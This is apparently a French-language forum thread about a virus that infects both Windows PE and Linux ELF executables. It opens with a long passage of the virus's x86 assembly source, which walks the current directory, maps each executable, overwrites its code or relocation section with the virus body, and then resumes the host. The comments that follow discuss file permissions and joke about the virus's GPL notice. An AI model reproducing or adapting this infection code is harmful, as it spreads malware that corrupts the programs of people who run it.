inc eax
push -1
pop ebx
int 80h ;quit if error
read_host:
push 19
pop eax
mov ecx,12345678h
l_lseek = dword ptr $-4
cdq
int 80h ;seek to saved host code (EOF - some bytez)
test eax,eax
js q_host
pushad
push 5
pop eax
call cur_dir
db '.',0
cur_dir:pop ebx
xor ecx,ecx
cdq
int 80h ;get current directory descriptor
xchg eax,ebx
inf_dir:push 89
pop eax
lea ecx,[ebp + WFD - lgdelta]
int 80h ;get file from directory
xchg eax,ecx
jecxz cldir ;no more filez..
add eax,10
call lCheckInfect ;try to infect it
jmp inf_dir ;and look for another file
cldir: push 6
pop eax
int 80h ;close directory descriptor
popad
push 3
pop eax
lea ecx,[ebp + Start - lgdelta]
mov edi,ecx
mov edx,virtual_end-Start
int 80h ;restore host code
test eax,eax
js q_host
push 6
pop eax
int 80h ;close host file descriptor
add esp,end_end_lhost-end_lhost
mov [esp.cPushad],edi ;write host entrypoint address
popad
ret ;and jump to there
;INFECT FILE (Linux version)
lCheckInfect Proc
pushad
xchg eax,ebx
push 5
pop eax
cdq
inc edx
inc edx
mov ecx,edx
int 80h ;open file
xchg eax,ebx
test ebx,ebx
jns c_open
popad
ret
c_open: mov [ebp + f_handle - lgdelta],ebx
push 19
pop eax
xor ecx,ecx
int 80h ;seek to EOF = get file size
mov [ebp + l_lseek - lgdelta],eax
;save it
push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
push eax
xor ecx,ecx
push ecx
mov ebx,esp
push 90
pop eax
int 80h ;map file to address space
add esp,24
cmp eax,0FFFFF000h
jbe c_mmap ;quit if error
jmp c_file
c_mmap: mov ecx,eax
mov [ebp + fm_handle - lgdelta],eax
pushad
call check_elf
je lInfectELF ;is it Linux program (ELF)?
add ax,-IMAGE_DOS_SIGNATURE
jne c_mfile
call check_pe
jne c_mfile ;is it Win32 program (PE)?
;some important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne c_mfile
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je c_mfile
test ax,IMAGE_FILE_DLL
jne c_mfile
test ax,IMAGE_FILE_SYSTEM
jne c_mfile
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne c_mfile
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je c_mfile
call header&relocs ;get PE headerz and check for relocs
je c_mfile ;quit if no relocs
mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne c_mfile
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb c_mfile ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;clear relocs record
call set_alignz ;align section variable
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - lgdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - lgdelta],eax
;set some important variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[esp+24]
lea esi,[ebp + Start - lgdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus code
popad
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set flag
c_mfile:popad
push 91
pop eax
int 80h ;unmap file
c_file: push 6
pop eax
mov ebx,[ebp + f_handle - lgdelta]
int 80h ;close file descriptor
popad
ret ;and quit
lCheckInfect EndP
;INFECT LINUX PROGRAM (Linux version)
lInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne c_mfile
call get_elf ;get ELF headerz
p_sectionz2:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section2 ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz2 ;ECX-timez
jmp c_mfile ;invalid ELF, quit
got_section2:
mov eax,[ebp + Start - lgdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je c_mfile ;infection check
mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb c_mfile ;is it large enough?
sub esp,eax ;create buffer in stack
mov [ebp + s_mem - lgdelta],eax
add dword ptr [edi+18h],LinuxStart-Start
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
mov eax,esi
mov edi,esp
rep movsb ;copy original host code there
mov edi,eax
lea esi,[ebp + Start - lgdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus
push 91
pop eax
mov ebx,[ebp + fm_handle - lgdelta]
int 80h ;unmap file
push 19
pop eax
mov ebx,[ebp + f_handle - lgdelta]
xor ecx,ecx
cdq
inc edx
inc edx
int 80h ;go to EOF
push 4
pop eax
mov ecx,esp
mov edx,virtual_end-Start
int 80h ;write there original host code
add esp,[ebp + s_mem - lgdelta]
popad ;correct stack
jmp c_file ;and close the file
lInfectELF EndP
;check if it is Linux program (ELF)
check_elf Proc
mov eax,[ecx]
push eax
add eax,-464C457Fh
pop eax
ret
check_elf EndP
;check if it is Win32 program (PE)
check_pe Proc
mov eax,[ecx.MZ_lfanew]
add eax,ecx
xchg eax,esi
mov eax,[esi]
add eax,-IMAGE_NT_SIGNATURE
ret
check_pe EndP
;get some variablez and check for relocationz in PE file
header&relocs Proc
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
mov eax,[edx]
test eax,eax
ret
header&relocs EndP
;align section variable
set_alignz Proc
mov eax,virtual_end-Start
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: ret
set_alignz EndP
;get some important variablez from Linux program (ELF)
get_elf Proc
mov ebx,[edi+18h] ;EP
mov esi,[edi+20h] ;section header
add esi,edi ;normalize
movzx edx,word ptr [edi+2Eh] ;size of section header
movzx ecx,word ptr [edi+30h] ;number of sectionz
ret
get_elf EndP
end_end_lhost:
end_lhost EndP
gpl db 'This GNU program is covered by GPL.',0
;licence agreement ;-)
;CRC32s of used APIz
crc32s: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 068624A9Dh ;CloseHandle
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 021777793h ;WriteFile
dd 085859D42h ;SetFilePointer
dd 0EBC6C18Bh ;GetCurrentDirectoryA
dd 0B2DBD7DCh ;SetCurrentDirectoryA
dd 07495B3ADh ;OutputDebugStringA
crc32c = ($-crc32s)/4 ;number of APIz
virus_end:
;addresses of APIz
a_apis:
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_CloseHandle dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
a_WriteFile dd ?
a_SetFilePointer dd ?
a_GetCurrentDirectoryA dd ?
a_SetCurrentDirectoryA dd ?
a_OutputDebugStringA dd ?
f_handle dd ? ;file handle
fm_handle dd ? ;file mapping handle
s_mem dd ? ;size of host code (for stack manipulationz)
WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
prev_dir db MAX_PATH dup (?);original directory
virtual_end:
ends
End Start ;that's all folx, wasn't that kewl? ;-)
[^] # Re: le code source
Posté par Babou . Évalué à 1.
[^] # Re: le code source
Posté par teddy . Évalué à 1.
;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
;appz under Linux.
Quand je pense que je deconnais la-dessus dans mon commentaire plus haut... :-)
[^] # Re: le code source
Posté par Anonyme . Évalué à 0.
--
Pat
[^] # Re: le code source
Posté par Ramón Perez (site web personnel) . Évalué à 1.
Bon, si j'ai bien compris :
- C'est un virus windows (donc un .exe, transmis éventuellement par mail)
- Il peut infecter à la fois les fichiers windows et les fichiers linux
- Lorsqu'il infecte un fichier linux, il écrit du code ELF, et donc peut être éxécuté ensuite sous Linux.
[^] # Re: le code source
Posté par Anonyme . Évalué à 0.
super ! pour une raison d'incompatibilté hardware, ma linux box ne peut pas faire tourner ouinedoze, elle ne risque donc rien, et je peux contniuer à dormir tranquillement ;-)
[^] # Re: le code source
Posté par Anonyme . Évalué à 0.
> ;all fileZ (both of PE and ELF) in current directory, also without
> ;checking file extensionZ.
> ;When all fileZ are passed and/or infected virus will restore host code
Ce gars est passé par là : http://nr7tf22.free.fr/warlordz.php3(...)
# Et tout ca en GPL !
Posté par Anonyme . Évalué à 0.
Question suivante : Si c'est GPL, on doit avoir acces aux sources quelque part, sinon la FSF peut faire un proces au pirate qui a cree le virus :-)
Eric
[^] # Re: Et tout ca en GPL !
Posté par teddy . Évalué à 1.
[^] # Re: Et tout ca en GPL !
Posté par oliv . Évalué à 1.
# FIER QUE LINUX SOIT ATTEINT !!!
Posté par Anonyme . Évalué à 0.
On peut pas en dire autant de Free BSD ou BeOS...
[^] # Re: FIER QUE LINUX SOIT ATTEINT !!!
Posté par Anonyme . Évalué à 0.
# système de fichier
Posté par Anonyme . Évalué à 0.
Pour qu'un virus puisse écrire dans un programme, il faut avant tout qu'il possède les droits d'écriture sur ce fichier, et cela n'est pratiquement possible que dans le cas d'une négligence de l'utilisateur (loggué inutilement sous le compte root par exemple).
A moins qu'il y ait une faille à ce niveau dans Linux ?
La plupart des hackers se concentrent sur la recherche de failles permettant d'obtenir des droits reservés au compte root, et ce petit bout de programme serait capable de le faire si facilement ?
J'aimerai bien savoir ce que les developpeurs du noyau ont à dire à ce sujet.
en tout cas, j'ai du mal à y croire...
[^] # Re: système de fichier
Posté par Anonyme . Évalué à -1.
Il faut installer linux sur une partition FAT32, et virer le support de tous les autres filesystems de ton kernel.
[^] # Re: système de fichier
Posté par Anonyme . Évalué à 0.
;
;Well, you are probably asking how it is possible that virus can infect Win32
;appz from Linux environment and Linux appz from Win32 environment. Yeah,
;many ppl already asked me. For instance, under some emulator. There exist
;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
;appz under Linux. Also, I know many ppl that have partition specially
;reserved for CD burning, where they store both of Win32 and Linux programz.
;Virus executed from there has no problemz with infection, heh ;)
;
bref tu contamines t fichiers depuis une partition windows, ou depuis un emulateur...
[^] # Re: système de fichier
Posté par Mikael . Évalué à 1.
Il a en fait mis un virus a chier sous windows et un virus linux qui n'infecte rien en 1 seul...
Et en plus le mec a l'air d'en etre fier...
# script Win/Linux
Posté par Wawet76 (site web personnel) . Évalué à 1.
<<
#!/bin/sh
echo "Hello, World."
>>
Ca marche sous Linux et sous Windows/Dos
Evidement sous dos ca écrit "Commande ou nom de fichier incorrect" avant le "Hello, World."
--
ALL YOUR BASE ARE BELONG TO US !
(ceci est une tentative de truc débile)
[^] # Re: script Win/Linux
Posté par freePK . Évalué à 1.
Ben, t'as qu'a ameliorer ton programme: du moment que le fichier est executable sous Unix, le bourne shell est automatiquement appele: tu n'as qu'a supprimer la reference a l'appel (le #!/bin/sh) et ton programme fonctionnera parfaitement sous Unix... et ne ralera pas sous MS-DOS.
Tu envoies cela aux "journaliste" de *PC* en leur disant que tu as decouvert un virus multiplateforme et multi-OS: MS-DOS, Linux, *BSD, Solaris, HP-Unix, ... avec support x86, mips, Sparc, 21x64, etc. et tu deviens celebre.
Ah, oui, n'oublie pas de coller ton nom et ton adresse pour aider les polices a determiner la provenance du virus de facon a ce qu'elles puissent annoncer qu'elles pensent qu'apres de longues recherche sur Internet et apres avoir depiler le code monstrueux du virus, que le virus pourrait venir de France...
PK, qui pousse au crime
# Et les droits il s'en tape le virus ?
Posté par Anonyme . Évalué à 0.
Par contre, à partir d'un linux, il ne doit pouvoir acceder qu'aux binaires sur lesquels il a les droits non ?
# Poisson d'avril ?
Posté par rno . Évalué à 1.
Et celui-là ce ne sera pas un poisson d'avril...
# Je crois que vous ne comprenez rien à la vie...
Posté par Anonyme . Évalué à 0.
Le source du virus pour infecter les fichier PE (Win32) et ELF (Linux) est disponible depuis déjà bien longtemps, et pour cela vous pouvez aller voir sur le site de Benny, programmeur chez 29A.
Mais je sais que bien des gens utilisant Linux n'ont aucune connaissance ni compétence en programmation système (ni programmation tout-court), autant sous Win32 que sous Linux même, donc je ne m'attends pas à ce qu'ils comprennent la moindre ligne dans le listing assembleur qui est fourni...
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.